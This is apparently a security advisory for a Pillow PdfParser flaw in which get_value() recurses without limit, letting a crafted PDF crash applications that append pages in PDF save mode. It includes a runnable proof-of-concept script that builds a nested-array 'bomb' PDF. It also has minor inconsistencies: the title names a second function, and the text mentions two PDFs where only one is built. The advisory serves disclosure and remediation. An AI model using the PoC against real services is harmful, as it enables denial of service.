---
id: CVE-2026-112391
aliases:
  - GHSA-254f-3936-288h
  - BIT-pillow-2026-112391
title: >-
  Pillow: PdfParser can recurse without limit in get_value() and
  linearize_page_tree()
summary: >-
  Pillow: PdfParser can recurse without limit in get_value() and
  linearize_page_tree()
severity: medium
cvss: 7.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'
vendor: pillow
product: pillow
ecosystem: pip
affected:
  - 'pillow >= 5.1.0, < 13.0.0'
patched:
  - pillow 13.0.0
published: '2026-10-21'
updated: '2026-10-26'
sourceUpdated: '2026-10-26T08:56:17.690706279Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-254f-3936-288h'
references:
  - url: >-
      https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-112391'
  - url: >-
      https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd
  - url: 'https://github.com/python-pillow/Pillow'
  - url: 'https://github.com/python-pillow/Pillow/releases/tag/13.0.0'
  - url: >-
      https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112391.json
  - url: 'https://access.redhat.com/security/cve/CVE-2026-112391'
  - url: 'https://bugzilla.redhat.com/show_bug.cgi?id=2555851'
  - url: 'https://www.cve.org/CVERecord?id=CVE-2026-112391'
  - url: 'https://github.com/advisories/GHSA-254f-3936-288h'
tags:
  - osv
  - pip
  - csaf
  - vex
  - red-hat
  - ghsa
  - cve.org
epss: 0.00581
epssPercentile: 0.47867
ssvc:
  exploitation: none
  automatable: 'no'
  technicalImpact: partial
  timestamp: '2026-10-20T15:10:23.482670Z'
cvssSource: vendor
cwe:
  - CWE-770
  - CWE-835
scores:
  vendor: 7.5
  cna: 6.3
ingestedAt: '2026-10-19T21:43:56.152Z'
---

## Overview

### Summary
`PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=<pdf>, format="PDF", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.

### Details
**`get_value()` in `src/PIL/PdfParser.py`**

This is a classmethod that takes `max_nesting: int = -1` and has a guard:

```python
if max_nesting == 0:
    return None, None
```

Every recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.

This advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel  `-1`  default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in  get_value() .

### Steps to reproduce
Both PDFs below are plain text, built directly in Python, no PDF library needed.

```python
from PIL.PdfParser import PdfParser

def build_pdf(root):
    out = bytearray(b"%PDF-1.4\n")
    offset = len(out)
    out += f"1 0 obj\n".encode()
    out += root
    out += b"\nendobj\n"
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    xref_offset = len(out)
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    out += b"trailer\n"
    out += f"<< /Size 2 /Root 1 0 R >>\n".encode()
    out += b"startxref\n"
    out += f"{xref_offset}\n".encode()
    out += b"%%EOF"
    return bytes(out)

bomb = b"[" * 3000 + b"]" * 3000
root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>"
with open("nesting_bomb.pdf", "wb") as f:
    f.write(build_pdf(root))

PdfParser("nesting_bomb.pdf")     # raises RecursionError
```

Expected: a clean `PdfFormatError`.

Actual: raises a raw `RecursionError: maximum recursion depth exceeded`.

### Impact
- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format="PDF", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.
- Confidentiality: none.
- Integrity: none.
- Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.

## Affected packages

- `pillow >= 5.1.0, < 13.0.0`

## Remediation

Upgrade to a patched release:

- `pillow 13.0.0`

## Vendor advisories

- **Red Hat VEX** · Important · affected: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, Red Hat Ansible Automation Platform 2, Red Hat Enterprise Linux 8, … · no fix planned: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, … · updated 2026-10-23 · [vex](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112391.json)
